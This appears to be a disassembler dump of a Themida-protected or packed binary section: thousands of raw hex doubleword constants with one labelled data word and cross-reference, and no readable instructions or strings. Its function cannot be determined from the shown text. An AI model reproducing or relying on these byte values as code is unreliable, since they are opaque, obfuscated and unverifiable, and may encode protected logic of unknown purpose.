0B04E0433h, 5FB5B6E4h, 0BA90585Ah, 3D4AAA68h dd 1C195FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 6285DC3h, 1F9B529h, 448B0607h, 95090424h dd 6070A51h, 0A1308589h, 8B66060Ah, 24448BF8h, 89D08B08h dd 0AA14485h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0B737387Eh, 898D230Dh, 83060732h dd 704EDBDh, 850F0006h, 66h, 0BA2105BFh, 0CD85C61Fh, 47060709h dd 6E9h, 3384FC00h, 68D3DF9Dh, 9F05A999h, 81F98B66h, 0E4B2434h dd 11E94B9Fh, 6A000000h, 3A10F24Dh, 4D1EA6ACh, 0B3D917DEh dd 5D6D2316h, 0B5FFCE8Bh, 6070D99h, 2B519D8Bh, 858D0607h dd 60A7038h, 0D0FFC88Ah, 0F5BD8Bh, 85890607h, 60704EDh dd 1AF5BD89h, 0BD830607h, 6070DBDh, 82850F00h, 8B000000h dd 72E55BDh, 0CD85C606h, 47060709h, 6AFCBF66h, 9D876268h dd 187EBFAFh, 34815C32h, 92328024h, 4820F25h, 66000000h dd 0FF5151BBh, 70D99B5h, 858DF906h, 60A7038h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D4C35343h, 7B50C8E9h dd 66D0FF45h, 8204E281h, 0DBD8589h, 14E80607h, 53000000h dd 1075830Bh, 6D910527h, 0A5B41433h, 3AF8680Eh, 0F9E478C4h dd 0E5BD835Ah, 6072Bh, 0EA850Fh, 9D8B0000h, 6071119h, 9CD85C6h dd 6A560607h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 2C59C352h, 0CDC7667Ch, 68DA8B3Eh dd 9A209627h, 3481A2B5h, 3FFB1E24h, 50006A4Eh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 3C5482FCh dd 0BE8h, 546E8C00h, 1CEEC6F8h, 92DA1C8Dh, 758D8B60h, 81060700h dd 0F8B730C7h, 665B6145h, 0BD8BCF8Bh, 6071F1Dh, 0D99B5FFh dd 8B500607h, 725ED95h, 0C5BB5A06h, 8D1DC71Bh, 0A703885h dd 0C2816606h, 0D0FF994Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0F2C35545h, 0FFB04F2Ch, 5E86070h, 46000000h dd 902052B7h, 0BB57D881h, 0B8587638h, 112B4516h, 0E5858961h dd 0BB06072Bh, 4E473070h, 9CD85C6h, 686C0607h, 0D4F75755h dd 3481DA8Bh, 0F227D624h, 99BD2B0Fh, 0FF06072Ch, 7059DB5h dd 8DDA8A06h, 7396385h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 40C18CBFh, 0A14BEAE5h dd 8D958B11h, 0FF060722h, 0AD9531D0h, 89060722h, 0AA13485h dd 0F9B58906h, 6A06071Eh, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 958B0D88h dd 6071FC5h, 0C0E14968h, 10E96Eh, 0E7540000h, 552BB12Fh dd 59C8D9Ch, 93BB7F78h, 34819CCCh, 0C0F14924h, 57006A6Eh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0ED7D1D30h, 858949F8h, 6071B49h, 9CAAC368h, 9CFABF13h dd 34810771h, 9DAAC324h, 18E0F13h, 0FC000000h, 958B006Ah dd 6073299h, 0F9995FFh, 958B0607h, 6072E69h, 0A1408589h dd 0D8B9060Ah, 6A5BA105h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0D08B6640h dd 4E8h, 1000000h, 50BDB600h, 2407B966h, 424448Bh, 0AE950h dd 9F450000h, 54C19852h, 66265235h, 66008B5Ah, 896FD3BAh dd 66042444h, 581B89BBh, 7E9h, 895F7100h, 988D6074h, 50DA8B90h dd 33904AB7h, 71A1D9Dh, 6A0B6A06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0EB4EC351h dd 4C23A7A7h, 81666BC2h, 8DC587EBh, 0AA10D85h, 0D98B6606h dd 14E96050h, 32000000h, 0C348CBB4h, 7B6F82B9h, 3DD11Ah dd 0C3B78D99h, 0E8850DDEh, 13h, 2E9ECBB2h, 2AE61B9Eh, 0EECDF718h dd 3E2A14D9h, 0B0EB0854h, 89615EF3h, 6A2404h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 3E69D4C3h dd 234CA399h, 7028595h, 0ED95FF06h, 6A060704h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 80E0C351h, 0B58DC4DEh, 60AA117h, 68F0Fh, 9D8B0000h dd 60725FDh, 89FD8A50h, 0B9662434h, 0E890A190h, 9, 51CB2B9Fh dd 470ECA52h, 2820FB7h, 60000000h, 66505A61h, 0E990CB8Bh dd 0Eh, 3B7D8BDEh, 975F9F68h, 7555DA71h, 95FF6652h, 6070DBDh dd 0FC53D0FFh, 40B58B59h, 29060AA1h, 7140D8Dh, 3885C706h dd 60AA1h, 89000000h, 72C91BDh, 207E8006h, 9840F00h, 89000003h dd 7213985h, 5B536006h, 8DDFBF0Fh, 5CB52046h, 2800Fh, 14B10000h dd 0A13C8589h, 9D89060Ah, 6070E05h, 28E9h, 75952B00h, 40060711h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0ADC35141h dd 0FBD5C56h, 388083h, 0FFD5850Fh, 9589FFFFh, 6071389h dd 34E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 7354D72Dh, 5265174Ah, 68A0Fh, 95890000h dd 6071921h, 0F580485Ah, 5C388079h, 36840Fh, 0B5890000h dd 6070EA5h, 0F2F3880h, 2784h, 9E900h, 25F0000h, 0FEFC23D7h dd 0B5D3D87Ch, 3C853B6Fh, 0F060AA1h, 0FFFFC883h, 16B3B9FFh dd 0E781561Ch, 5016F390h, 0BD83F540h, 60AA144h, 0D3840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 81DDC357h, 0D18E8AEAh, 15BD013Ch dd 50060728h, 7E85660h, 0E8000000h, 6DE4616Fh, 5E58F4C8h dd 0CE9h, 0FEB5D600h, 0FDC5E9FBh, 97CD9657h, 48961CFh dd 1890F24h, 0F5000000h, 0A1448503h, 6A060Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0DBD9AFC3h dd 0DE8ACE31h, 6A0000C6h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 9F75C353h, 0A3636582h dd 5809F69Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0DC35545h dd 0CE906h, 22270000h, 6F953C02h, 0C45185D4h, 50902109h dd 0FE952h, 0ACE40000h, 8B00BF28h, 590DEA6Fh, 0CDBF0BBFh dd 66310F26h, 5AA4C9B9h, 29B75058h, 9CEA8190h, 81724A1Eh dd 16B356CAh, 30B5FF7Dh, 6A060AA1h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0FB0C351h dd 68Eh, 0E19D8B00h, 0FF060725h, 0AA13495h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 8642D75Bh, 0BE3E3448h, 0DE86057h, 76000000h, 0BB68F7CDh dd 0A214911Ah, 0B8E48B0h, 7E8BF281h, 0F5F616Ch, 0B61F2BFh dd 60850FC0h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0C1C9C357h, 4622C31Bh dd 6A6101h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 465872C3h, 0E20C1C1Fh, 8540C8BBh, 3885C71Eh dd 1060AA1h, 89000000h, 70C118Dh, 42E906h, 61F80000h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0ACC35545h, 3A4EAE01h dd 319454FAh, 1CC68151h, 50000001h, 9E9h, 891F1900h, 112A4934h dd 0E95AAF1Ah, 0FFFFFCEDh, 0B60EB868h, 0D38B6615h, 0B8243481h dd 0E815B68Eh, 6, 46B815EEh, 858936FFh, 6072869h, 227EBA5Fh dd 6A551Ah, 1EC98D8Bh, 0B5FF0607h, 60AA140h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 7EC35545h, 79DBE17Ah dd 0ADE21A12h, 0AE9h, 102AAE00h, 3672A082h, 0FFBB5D9Fh dd 72BE595h, 0DE906h, 0B46D0000h, 4528A29Ch, 268F0344h dd 8BEAE259h, 0AA13885h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0C59D3165h, 5006070Eh dd 75BB6653h, 4895905h, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0F6B21B0Ah, 0C8B0Fh, 820F0000h dd 6, 0AC18529h, 85010607h, 6073341h, 0A148858Dh, 6A060Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0C3803DC3h, 52505092h, 0BADEF8BAh, 50310F3Ch, 870F52h dd 0F000000h, 12E931h, 0B2C90000h, 0F1B0DCCh, 8DB7B791h dd 0D885A515h, 11222462h, 585A585Ah, 29240489h, 7069185h dd 5858D06h, 6A060AA1h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 4304C357h, 0FA729CA4h dd 259D035Ch, 90060707h, 0FD84B966h, 73BF6650h, 6A9005h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 3F499C3h, 0A98D8B7Fh, 0FF060702h, 7069595h, 3870F06h dd 66000000h, 0C08BF98Bh, 7E9h, 7AB4E300h, 0A312185Fh dd 1ACDBD83h, 75000607h, 35BD8309h, 60711h, 53501374h dd 0D0B8C08Bh, 8D000004h, 9ABFB9Dh, 5BD3FF06h, 35BD8358h dd 60711h, 53501174h, 4D0B8h, 0FA9D8D00h, 0FF0609AAh, 6A585BD3h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 2264C351h, 89FE8BD1h, 70A5D9Dh, 6AC08B06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0EDECC351h, 0DDDB0591h, 8BC44E90h, 70481BDh dd 8D8B5806h, 60729DDh, 8C2C88Ah, 97BFF500h, 8B5C5B03h dd 44BF66C0h, 61858DDCh, 8B060AA1h, 70ECD9Dh, 65858906h dd 0E906071Ah, 75h, 0D88C6660h, 840F04A8h, 35h, 0B5FF016Ah dd 607059Dh, 7038858Dh, 0D0FF060Ah, 6F98589h, 0FE8B0607h dd 680CEFC1h, 20040000h, 26A006Ah, 0D6857h, 95FF0001h dd 60706F9h, 32E9h, 0CD85C600h, 56060709h, 0C530DF68h dd 99B5FFA9h, 8D06070Dh, 0A703885h, 89D0FF06h, 7084D85h dd 91858D06h, 50060712h, 56A206Ah, 4D95FF56h, 61060708h dd 6E0C1C3h, 39EBh, 2CC00BFh, 2E400BFh, 0BFh, 0A16C0000h dd 0AD4B47B7h, 0A56F76AEh, 0A17422BFh, 0E6EC4FB4h, 0C8AC4EBEh dd 84247694h db 96h, 22h word_5775BE dw 0BC7Eh ; DATA XREF: Themida_:0053CD08o dd 0A67D5295h, 0AD7E4A8Eh, 0A80646BBh, 0C8033632h, 0CE8B8ADAh dd 3879D3C8h, 0E6DBEE1Ah, 336CB66Bh, 0AA34157Dh, 3199A92Ah dd 920025D8h, 0C869E251h, 0C882CA8Ah, 90E022DAh, 8CE97A19h dd 8CB126FEh, 0C80F26FEh, 984C22DAh, 0DCA21919h, 5BEA1EDh dd 0C88725C0h, 75432BAFh, 0CE6733EFh, 982956DAh, 70D8A989h dd 0C80C2663h, 0D77BA753h, 558E24DDh, 0CE888F1Ah, 909BF125h dd 0D9559F59h, 0BC3024DDh, 704B72CDh, 0C80C2663h, 0D77BA753h dd 558E24DDh, 0CE888875h, 909BF125h, 0C2D197F3h, 0C5D824DDh dd 0D81822DAh, 1F9D8DAAh, 147BD072h, 0F5883C66h, 0C8812E33h dd 7A97DBDAh, 0E9078FA0h, 32FB1C51h, 8937C41h, 205922B0h dd 0C80622D9h, 95C07FFAh, 0CCA54E53h, 0CCE4665Bh, 0C86022CDh dd 83F3779Fh, 0FB72AF10h, 0CF0C1F4Fh, 583E4DCh, 9E0525D3h dd 20D222B0h, 0C8C022D9h, 93A379FAh, 0CC147E53h, 0CC3C665Bh dd 0C80C22CCh, 0CEC57199h, 4163A32Ch, 0CF9EFF5Fh, 0C19A3DCh dd 0A97E6897h, 0C8302632h, 60A070DAh, 0C805CA46h, 912A22DAh dd 0A9871862h, 0AE9CE3A9h, 97D21D63h, 0C4EE2D8Ah, 0C73022DAh dd 0C818245Eh, 0C75E72DAh, 435E78EBh, 2007069Eh, 0C88122D0h dd 3DD2A080h, 0CA4694A0h, 0C1D87DC2h, 451822DAh, 35D4947Eh dd 0F0388416h, 9659A26Bh, 73E12251h, 0F13BB20Ah, 997B9DBCh dd 0EC74ABBBh, 0C8727ADEh, 0C80FCA8Fh, 952622DAh, 0A48A7F19h dd 8C0026FEh, 0C8DC26FEh, 9D2522DAh, 6DD47B19h, 0F9B94924h dd 0CEE5150Eh, 500622DAh, 0EA9F166Ch, 320A44C3h, 0C5599725h dd 7DEB24DDh, 0CE3700ABh, 0D8A197E9h, 4D8124DDh, 0CE0C52E2h dd 1190E35Bh, 187E4679h, 0E68DAF53h, 0CC0A24DDh, 206022B0h dd 0C81822D9h, 90CF7AFAh, 0CC226653h, 0CC27665Bh, 0C88122C6h dd 0BE03729Ah, 1382D2F1h, 3EF188BAh, 0C81CCA26h, 0D80C22DAh dd 9A5622DAh, 198844BAh, 0C7E07A8Dh, 917E44EBh, 98387862h dd 4350708Ah, 0F917432Ah, 8C877A80h, 0C7EE26FEh, 9F0322DAh dd 145CCDA7h, 789C39C6h, 0D80C87F8h, 4361260Eh, 43467811h dd 0C800CADAh, 0BCA822DAh, 217246F5h, 7D080CF9h, 9A72869Dh dd 0EC24AB84h, 6BB44DEh, 9B184882h, 0C80C2132h, 0B5D02DAh dd 0EC5FAB81h, 0ECC5A3DEh, 0C8C034DEh, 0B3361DAh, 4313092Dh dd 6C104A21h, 0D8E48703h, 940622DAh, 0B8176D8Ah, 48CE5EB9h dd 7F36F610h, 7152AF58h, 0A5B075AEh, 0EC1CA383h, 922A7C3Eh dd 28D22B0h, 0C6EBF225h, 0C28122DAh, 4F521577h, 37FA4A4Ah dd 1904B3E0h, 0D595A9EDh, 910A25DFh, 0C8062933h, 5C5DB4DAh dd 0EB1B9699h, 19B6A60Bh, 65B3A753h, 43C524D0h, 0CAD42722h dd 4D8522DAh, 0CE0C8F0Dh, 411BE259h, 0C22CF95Fh, 710011DCh dd 0C8602036h, 0C85A8829h, 0C81BCA8Bh, 912C22DAh, 848F7B19h dd 8C8226FEh, 0C89726FEh, 998122DAh, 0A6CFC519h, 0E7ED9751h dd 0C87224DDh, 0C80FCA8Dh, 972622DAh, 0B48A7D19h, 8C0026FEh dd 0C8D726FEh, 9F2722DAh, 0E2670319h, 39344C5h, 0C1C1A71Ch dd 434524DDh, 49B6AB23h, 208725DEh, 0C8C022DEh, 54074984h dd 0BD497A63h, 437E72A2h, 0EC48A914h, 0CC872DDEh, 0AE0322DAh dd 43BBAD64h, 0C8CDCBDAh, 41DE22DAh, 1FEFE37Fh, 9C915DCCh dd 41875567h, 7602069Eh, 0A2FBBCB5h, 9E814882h, 0C8C02132h dd 0B3E02DAh, 0EC44AB84h, 0EC5CA3DEh, 0C80C3FDEh, 0B5064DAh dd 0E98D5C06h, 0E4A1FC36h, 77CF3D4Fh, 69ED0B2Dh, 373625F2h dd 0CF15BB6Fh, 9E0C48DCh, 0C8062132h, 0B5D02DAh, 0ECF5AB84h dd 0EC84A3DEh, 0C8603ADEh, 0B6664DAh, 5F594E3Eh, 0F089AFA9h dd 210028AAh, 0C80322DDh, 9C9C73C6h, 37FF41BBh, 29F5AB0Ah dd 413625C3h, 0CF1F9B5Fh, 0C3E542DCh, 860622DAh, 1084A8B8h dd 3BE583AEh, 0D828EEF2h, 946022DAh, 13E8D63Ah, 0AE29217Ch dd 8ECDB878h, 90715BBCh, 0BD86AFBBh, 9E8725F4h, 0E6F5A753h dd 0AE3A24DDh, 4156F665h, 0CF061F5Fh, 22FEA3DCh, 0E44A1B8h dd 0CF0AEF5Fh, 76E971DCh, 711D1E37h, 0DE0F7BF4h, 0AE14165Bh dd 0A239AF7Fh, 0CBE477DAh, 0E80622DAh, 415EE187h, 498506B6h dd 0DFC4069Eh, 8D6022DAh, 807CE18Fh, 4593D750h, 0CE0B22F7h dd 0C59F9725h, 496524DDh, 451C0D00h, 0C2B01A5Fh, 3BEB44DCh dd 0C85AF225h, 0C81BCA88h, 922C22DAh, 9C8F7819h, 8C8226FEh dd 0C89926FEh, 9A8222DAh, 1B9B9A19h, 4DB95FFEh, 0CE1F2FB3h dd 0C1C1A71Ch, 215524DDh, 0C80322CAh, 71F609D1h, 6BA5E014h dd 0F5B27662h, 9E9A8D99h, 9CE954B2h, 49179719h, 0FDC306EEh dd 0C8693996h, 0C882CA88h, 92E022DAh, 9CE97819h, 8CB126FEh dd 0C80326FEh, 9A4E22DAh, 3750EC19h, 0C79E015Ch, 7C58A3B9h dd 419196FEh, 0CF494F4Fh, 5185DDDCh, 431E25D7h, 0CF12DB6Fh dd 0F083AFDCh, 0A20528AAh, 0CB6974DAh, 0E8C022DAh, 413EE184h dd 493406AEh, 0D41C069Eh, 8E0C22DAh, 5573E18Ch, 9E73C3FBh dd 0E1E83D63h, 0CFCBB367h, 65E5ABDCh, 373625C2h, 9818480Ah dd 0C80C2132h, 0B5E02DAh, 0EC47AB82h, 0ECC5A3DEh, 0C8C034DEh dd 0B3062DAh, 79563F81h, 0E19DAB38h, 0A20A25FBh, 0CBEE73DAh dd 0E80322DAh, 41D8E183h, 49C40696h, 0D264069Eh, 893022DAh dd 1379E18Bh, 28876123h, 583E4D7h, 8F0525D3h, 0ED54AF53h dd 0CC2824DDh, 616022DAh, 0A887FC07h, 0C81BAED5h, 436A22DAh dd 98564304h, 0FFE98BCh, 0ECC5A980h, 3F4B44DEh, 456F2251h dd 0C83022DEh, 0A9DEA9BAh, 0CC286653h, 0F95ED251h, 0CF183B5Fh dd 0E93C23DCh, 37C625FAh, 0CF6DBB6Fh, 4DBDDADCh, 0CE1252E2h dd 0C80AA7D5h, 553722DAh, 0CE0402F3h, 0C8EBF225h, 0C8C3CA89h dd 934022DAh, 94B97919h, 8C9926FEh, 0C81126FEh, 9B4522DAh dd 29812119h, 0DEE69EC9h, 0AE80B155h, 0F19F55Bh, 0D741A753h dd 4DDE24DDh, 0CE0B2B17h, 9906489Dh, 0C8032132h, 0BD802DAh dd 0EC8CAB83h, 0EC24A3DEh, 0C83035DEh, 0B4963DAh, 52870F92h dd 0A0F79DD5h, 33F261F7h, 0CA022D8Ch, 9FC022DAh, 0FCE17D84h dd 0E56375FEh, 7DE7D7A0h, 0CE0B2F43h, 205522B0h, 0C80322D9h dd 934279FAh, 0CCE47E53h, 0CC44665Bh, 0C83022CDh, 12DB7199h dd 4378CA6Bh, 0CF2E834Fh, 0F086AFDCh, 0A28728AAh, 0CB2873DAh dd 0E86022DAh, 4169E183h, 491C0696h, 0D408069Eh, 890622DAh dd 20B9E18Bh, 0F6BF966Dh, 3092F2DAh, 5DE9F225h, 0CE3704E7h dd 0E339A753h, 0C86624DDh, 0C805CA8Fh, 952322DAh, 0A4087F19h dd 8C4126FEh, 0C87526FEh, 9D7522DAh, 71CE7319h, 0E9619B7Ch dd 0C1CBA71Ch, 0A24424DDh, 0CB6970DAh, 0E8C022DAh, 413AE180h dd 4934068Eh, 0DC1C069Eh, 8A0C22DAh, 7DA6E188h, 7AFF4A9Ah dd 0C0698910h, 7EC022DAh, 0A7F74FD7h, 0A866D69Ch, 0B35598BCh dd 0C80CA1D5h, 976722DAh, 6927165Bh, 0AE802554h, 7D3FD851h dd 0CE672F43h, 0B808A757h, 0C87224D0h, 0C80FCA8Fh, 952622DAh dd 0A48A7F19h, 8C0026FEh, 0C8DC26FEh, 9D2522DAh, 0D8767119h dd 51A19AF4h, 5D8709BEh, 0CE0108A3h, 37FD95D5h, 57A49D0Ah dd 4D49799Eh, 0CE672293h, 206222B0h, 0C81822D9h, 92CF78FAh dd 0CC227653h, 0CC27665Bh, 0C88122CDh, 0AE037098h, 71E0E9B6h dd 8E32D481h, 18E7F250h, 0D8AE9DBCh, 0E3CBA753h, 4D0C24DDh dd 0C88122DCh, 0C8C0A0D5h, 88D222DAh, 0AEE8AEBCh, 0A646E85Bh dd 0CC28788Dh, 0D61BB7F3h, 80924DDh, 0CBC7A6D5h, 3F4122DAh dd 0CE4806CAh, 0C1FDA71Ch dd 205724DDh, 0C80C22D4h, 0FCE84C9Ch, 6A9B4FAEh, 0B508AD6h dd 1E404E8Ah, 7F6F7D80h, 85C74A2Dh, 0DAF0BF0Fh, 0FE0C22DAh dd 8144229Ah, 0EFA93402h, 14F8DF05h, 41AA2282h, 0C7327273h dd 0C8BB2DEBh, 921822DAh, 0FC8D7C82h, 9D2711FEh, 219EABF8h dd 378725DDh, 0CFCDBB6Fh, 9A6048DCh, 0C8302132h, 0B4202DAh dd 0EC58AB80h, 0EC42A3DEh, 0C8033BDEh, 0BD360DAh, 2D49DC09h dd 4DED3D33h, 0CE3A52E2h, 18E78968h, 0C80C2C32h, 0AA617ADAh dd 5DC4DC33h, 0A4018322h, 0EB659887h, 0CF601357h, 8B37CDCh dd 1DAD21FEh, 410A25DFh, 0CF0FDB5Fh, 980348DCh, 0C8812132h dd 0B9802DAh, 0EC24AB82h, 0EC74A3DEh, 0C8183EDEh, 0B5C62DAh dd 6295BB54h, 299A7E48h, 0C50E2D62h, 20C022DAh, 0C86022DDh dd 2EBEDF88h, 9760633Dh, 0E3C1A751h, 0CEEF24DDh, 9E0322DAh dd 0F484CA22h, 815DA9FCh, 0A26625DAh, 0CBD870DAh, 0E81822DAh dd 4156E180h, 4902068Eh, 0DF07069Eh, 8A8122DAh, 7FDAE188h dd 0CD89E22Ch, 6C3022DAh, 0BED40F81h, 0C1B9A98Ah, 920025FAh dd 0C810CB99h, 0D91222DAh, 0F54EE09Bh, 0CBAABB7Dh, 0DC82432Fh dd 0F04630EFh, 4117A94Dh, 0CF136B6Fh, 0A218A9DCh, 0CB6970DAh dd 0E8C022DAh, 413AE180h, 4934068Eh, 0D31C069Eh, 8A0C22DAh dd 27F5E188h, 0ACF255A9h, 0D30A4DD9h, 1C36A3BCh, 0A2B8117Bh dd 0CBD871DAh, 0E81822DAh, 4157E181h, 49020686h, 0D107069Eh dd 8B8122DAh, 0B5CBE189h, 0AF66BB61h, 35ADAB23h, 0A21E25C0h dd 0CBE470DAh, 0E80622DAh, 4159E180h, 4985068Eh, 0D0C4069Eh dd 8A6022DAh, 0B44DE188h, 0E141A59Bh, 0CF022F5Fh, 583E4DCh dd 8F0525D3h, 20D322B0h, 0C8C022D9h, 92A378FAh, 0CC147653h dd 0CC3C665Bh, 0C80C22C3h, 0A5C57098h, 76976995h, 0ED34ABB7h dd 0A8C625D0h, 21A2A9BCh, 0C83022D3h, 387843C9h, 6D5928DBh dd 8F6E431Fh, 0AEF91421h, 0FC00D351h, 20E6CCFEh, 7D9FDA97h dd 0CE372F43h, 0CEDDB751h, 450524DDh, 0CE010E8Fh, 0B83BA757h dd 0C06824D0h, 8CC022DAh, 0ECA63C4Bh, 371C685Ch, 9918480Ah dd 0C80C2132h, 0B5F02DAh, 0EC4FAB83h, 0ECC5A3DEh, 0C8C03FDEh dd 0B3163DAh, 0EA15782Ch, 26533BD2h, 5D87E095h, 0CE013CEBh dd 0D772A753h, 0C8EB24DDh, 0C8C3CA8Fh, 954022DAh, 0A4B97F19h dd 8C9926FEh, 0C81426FEh, 9D4322DAh, 1D61F919h, 0DB68C0C4h dd 0AFC022DAh, 4BE67D92h, 91DF9BDCh, 51534073h, 36E8BEACh dd 758D814Eh, 0CE040EA3h, 9E81489Ah, 0C8C02132h, 0B3E02DAh dd 0EC44AB84h, 0EC5CA3DEh, 0C80C38DEh, 0B5064DAh, 70E5EBD3h dd 439820DBh, 0C8C5CADAh, 464022DAh, 9708FF69h, 4D912251h dd 0CE0B0ACBh, 205322B0h, 0C80322D9h, 95427FFAh, 0CCE44E53h dd 0CC44665Bh, 0C83022C6h, 2EDB779Fh, 0CE31858Bh, 9AEF0C99h dd 0C8027F33h, 9E8148DAh, 0C8C02132h, 0B3E02DAh, 0EC44AB84h dd 0EC5CA3DEh, 0C80C3ADEh, 0B5064DAh, 0E08D6545h, 979E9DDBh dd 4549335Ch, 0CE6700DBh, 65C9A757h, 428824D0h, 4D037229h dd 0C80622D8h, 0A293D551h, 0CB6975DAh, 0E8C022DAh, 413FE185h dd 493406A6h, 0D11C069Eh, 8F0C22DAh, 0CC8CE18Dh, 41CA405Dh dd 0C887AED5h, 754922DAh, 0CE6704E7h, 0C725B725h, 0C87224DDh dd 0C80FCA8Bh, 912622DAh, 848A7B19h, 8C0026FEh, 0C8D626FEh dd 992122DAh, 49E7D219h, 0E33DB753h, 558124DDh, 0CE0C8F25h dd 0C0AEA7DBh, 42D124DDh, 0ECDCAB15h, 0CC919F51h, 0C7A024DDh dd 0C818215Fh, 328744DAh, 0CDEE758Ah, 6A0322DAh, 0B8B2AB5Eh dd 0C8C0AAD5h, 923922DAh, 9B30484Ah, 0C8182132h, 0B5702DAh dd 0EC5AAB81h, 0EC47A3DEh, 0C88139DEh, 0B9361DAh, 0CFD89EECh dd 0CA0E92F2h, 0C81DABD5h, 0ABB622DAh, 375A86DDh, 0CF0E9F4Fh dd 0C892CADCh, 778C22DAh, 446D4D1Eh, 77209F75h, 0EF36FBA2h dd 132BB99h, 0D9B3AB47h, 960525FAh, 0C178A753h, 0C8AA24DDh dd 0C863CA8Fh, 951022DAh, 0A4917F19h, 8C8D26FEh, 0C81326FEh dd 9D4622DAh, 20FD6919h, 0C8C022D3h, 0FC1AA140h, 90B06FBAh dd 81ADABBEh, 970A25FCh, 0C89F9F51h, 4DC524DDh, 0CE862B17h dd 9EC04889h, 0C8602132h, 0B6E02DAh, 0EC6CAB84h, 0EC48A3DEh dd 0C80639DEh, 0B5564DAh, 0E3C96192h, 779206C8h, 0CD29BF53h dd 0A25824DDh, 76E1AE68h, 0E250E215h, 0DD22165Bh, 0FB5029ECh dd 0CF99D74Fh, 0C8CDCBDCh, 7EFD22DAh, 0E66F02BDh, 0A053D17h dd 37A4BF88h, 0CF0BBB6Fh, 0C811CADCh, 0AD8A22DAh, 90E9488h dd 87D81668h, 4437EE36h, 5D17FD73h, 0C80C3133h, 21BE5CDAh dd 0CD7522AEh, 0E44C9F60h, 569336CAh, 0D7C8D8FCh, 0F0B5AF84h dd 0A21E28AAh, 0CBE472DAh, 0E80622DAh, 415BE182h, 4985069Eh dd 0DCC4069Eh, 886022DAh, 43D9E18Ah, 0CF10DF67h, 43DCDDDCh dd 0CF03376Fh, 5986ABDCh, 0E8725DDh, 0CFC9EF5Fh, 3EE165DCh dd 0F4F7BFE7h, 4F1BB9B2h, 0F4279C4Fh, 0FC87369Bh, 3D1529FEh dd 9D8148EEh, 0C8C02132h, 0B3D02DAh, 0EC5CAB87h, 0EC5CA3DEh dd 0C80C38DEh, 0B5367DAh, 1488CD21h, 371718A8h, 0CFCDBB6Fh dd 0CDD5A9DCh, 453625D5h, 0C2681A5Fh, 9F0C48DCh, 0C8062132h dd 0B5C02DAh, 0ECFDAB85h, 0EC84A3DEh, 0C86038DEh, 0B6765DAh dd 0EADAEF79h, 3753CD55h, 7709420Ah, 0B82701Dh, 0B96EAE31h dd 4D494385h, 0CE67208Bh, 206722B0h, 0C81822D9h, 97CF7DFAh dd 0CC225E53h, 0CC27665Bh, 0C88122C6h, 3403759Dh, 0DCA5F4BDh dd 5EF46A6Ch, 6D850BBAh, 770A25DAh, 94B60EA8h, 586E4BBh dd 9B8725D3h, 7E6BC05Bh, 0CC8841B0h, 583022DAh, 9B811B85h dd 0CFE47284h, 650622DAh, 0F3C3B785h, 78E14817h, 439A437Fh dd 0AE64069Eh, 0C8BBE951h, 0C8182C33h, 24523CDAh, 1303B337h dd 0C4DB207h, 412E5D16h, 72C4069Eh, 0DD8312F8h, 99304882h dd 0C8182132h, 0B5502DAh, 0EC4AAB83h, 0EC47A3DEh, 0C88136DEh dd 0B9163DAh, 7D9FDEC8h, 0CE372F43h, 204A22B0h, 0C80C22D9h dd 92C578FAh, 0CC277653h, 0CCA5665Bh, 0C8C022C3h, 0A3A37098h dd 0ACC21B58h, 0A1A511D0h, 450A25FAh, 0C2761A5Fh, 37B42DDCh dd 43E7F225h, 9145AB0Dh, 216625C2h, 0C83022DDh, 3BB49F09h dd 0E76982Ah, 0CF0FEF5Fh, 0C86975DCh, 0C882CA8Dh, 97E022DAh dd 0B4E97D19h, 8CB126FEh, 0C80E26FEh, 9F4B22DAh, 0A173F019h dd 0CCEB016Fh, 0CE8122DAh, 43502688h, 0DA897228h, 863022DAh dd 8410635h, 440AFE05h, 0D40F8B44h, 0D9E5826Ch, 0ECC5A9C4h dd 430AA8DEh, 0EEDF44DAh, 0EC74ABBAh, 9E4A72DEh, 